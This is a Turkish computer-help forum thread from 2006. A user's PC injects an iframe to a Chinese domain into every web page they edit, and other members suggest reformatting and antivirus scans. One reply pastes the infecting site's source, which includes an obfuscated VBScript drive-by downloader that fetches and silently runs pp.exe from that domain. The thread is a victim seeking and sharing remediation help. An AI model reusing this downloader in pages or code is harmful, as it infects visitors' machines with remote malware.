Trojanmı yedim? virüsmü yedim? offffffffff

01-10-2006, 17:57:58

Eposta Aktivasyonu Gerekmekte

Merhaba
Dün sabah çocuklar pc ile oynamış ve dün sabahtan beri bilgisayarda bir düzensizlik var. Ağırlaşmalar donmalar falan. Bazen bilgisayar donar gibi oluyor yani bilgisayarda herhangi bişey yapamıyorum. Şimdi bişey farkettim. Sitelerimi frontpage ile düzenliyorum. Her düzenlediğim sayfada otomatik olarak bir iframe açılıyor. İframe http://www.ac66.cn/88/index.htm adresini açıyor. Bilgisayara dünden beri ikinci kez format atıyorum (yerel disc C ye). Dün bir sitemin anasayfasını düzenledim ve siteye attım. Otomatik açılan iframe dikkatimi çekmedi. Şimdi siteye girildiğinde site bile donuyor. Dün akşamdan beri uğraşıyorum ve kafam allak bullak

bana bişeyler tavsiye edin. Ne yapmalıyım ne etmeliyim. Bi çareeeeeeeeeeeeeeeee

Şimdi iftara gidecem inşallah o arada birileri bi derman sunmuştur

01-10-2006, 18:04:10

#2

DJ PİSAGOR

Yedek disk ( D ) temiz mi? Yani virüs ve spy taraması yaptınız mı?

01-10-2006, 18:06:34

#3

HolyBoY

en sağlıklısı
fdisk çakacan sonra format sonra windows kur
birde yedeklerini en az 2 tane antivirüs programına tarat kullanmadan önce
var olan sitedeki dosyalarıda temizleri ile deyiş

01-10-2006, 18:07:09

#4

Labidu

Misafir

Proğramsal bir sorununuz yok.

Sorun donanım çakışmasından kaynaklanıyor.Büyük olasılık ramlerınızde sorun var.

Bir yetkili servis çağırmanız en mantıklısı.

01-10-2006, 18:52:18

#5

B@HTiYAR

Eposta Aktivasyonu Gerekmekte

İlginiz için teşşekkürler, yeni anti programlar indirip deneyecem inşallah onlarla sorun çözülür

02-10-2006, 14:07:21

#6

H4k4nn

Ona Benzer bir Virüs Bendede Wardi (ama frame DeqiL Farklı Birşey) C yi Formatladim Birden D yi Autorun Lamaya basladi Regeditten 1 kaç deger Buldum sildim Yaklasık 5 antivürüs ile virüsleri silsemde Fayda Etmedi C yi Formatladim D Arşiwimi C ye Atip d yi Formatladım Fdisk önermem Ama Acele Etsen iyi olur

02-10-2006, 14:59:13

#7

ismailbal

dediğin adrese girince Kaspersky alert verdi. O sitede trojan var. Muhtemelen VBscript ile yazilmiş bir makro virüs yedin. Buda bütün HTML sayfalarında o siteyi iframe ile açmaya başladı. Kaspersky Lab: Antivirus software adresinden internet security 6.0 i indirip kur sonra update et ve tüm PC'yi tarat. Makineyi baya bir zorlasada ne var ne yok siliyor.

******'nun dediği gibi donanımsal bir problem olacağını sanmiyorum. Eğer donmalar farklı durumlarda olmuyorsa (örn. Güvenli Kip) bence trojan sebeplidir. Bunları yapmana rağmen halen bir problem yaşıyorsan ****** haklı olabilir.

02-10-2006, 15:13:09

#8

Haymac

Misafir

Sitenin Kaynak Kodu

(Niyemi korkusuzum

Çünkü Findosçu değilim)

<SCRIPT language="JavaScript">
function cameFrom(where) {
   if (!document.referrer && !where) return true;
   else return (document.referrer.indexOf(where)>=0)
   }

if (cameFrom("163.com")) {
   location.replace("3721.htm");
   }
else if (cameFrom("gov")) {
   location.replace("3721.htm");
   }
else if (cameFrom("or")) {
   location.replace("3721.htm");
   }
else if (cameFrom("bi")) {
   location.replace("3721.htm");
   }
else if (cameFrom("1488.com")) {
   location.replace("3721.htm");
   }
else {
   location.replace("mm.htm");
   }
</SCRIPT>

<html><scriptlanguage="VBScript">
onerrorresumenextdl="http://www.ac66.cn/88/pp.exe"
Setdf= document.createElement("object")df.setAttribute"classid","clsid:BD9C556-65A3-11D0-983A-00C04FC29E36"str="Microsoft.XMLHTTP" Setx=df.CreateObject(str,"") a1="Ado"a2="db."a3="Str"a4="eam" str1=a1&a2&a3&a4st5=str1setS=df.createobject(str5,"")S.type=1str6="GET"x.Openstr6,dl,Falsex.Sendfname1="g0ld.com"
setF=df.createobject("Scripting.FileSystemObject","")
settmp=F.GetSpecialFolder(2)fname1=F.BuildPath(tmp,fname1)S.openS.writex.responseBodyS.savetofilefname1,2S.close
setQ =df.createobject("Shell.Application","")
QShellExecutefname1,"","","open",0
</script>

pp.exe yi bul sil berce.

02-10-2006, 18:02:22

#9

B@HTiYAR

Eposta Aktivasyonu Gerekmekte

ismailbal adlı üyeden alıntı: mesajı görüntüle

dediğin adrese girince Kaspersky alert verdi. O sitede trojan var. Muhtemelen VBscript ile yazilmiş bir makro virüs yedin. Buda bütün HTML sayfalarında o siteyi iframe ile açmaya başladı. Kaspersky Lab: Antivirus software adresinden internet security 6.0 i indirip kur sonra update et ve tüm PC'yi tarat. Makineyi baya bir zorlasada ne var ne yok siliyor.

******'nun dediği gibi donanımsal bir problem olacağını sanmiyorum. Eğer donmalar farklı durumlarda olmuyorsa (örn. Güvenli Kip) bence trojan sebeplidir. Bunları yapmana rağmen halen bir problem yaşıyorsan ****** haklı olabilir.

Bugün antivir diye bir programla tarattım 3 tane virüs bulup sildi. Donmalar bitti gibi bişey. GErçeği eskisi gibi değil ama 5-10 dakkada bir donmuyor. Yani ağırlaşıyor sadece. Akşam tavsiye ettiğiniz programı bir deniyeyim. Çünkü halen site düzenleme yaptığımda iframe açılıyor. DEdiğin gibi sitede trojan varsa iframe açılan sayfaye girenlerede bulaşır. Site düzenlemeyi kestim. O kadları control panelinden kaldırdım. Yani site temiz şu an

Tavsiye ettiğin antivirüs inşallah işe yarar. Hepinize ilginizden dolayı teşekkür ederim.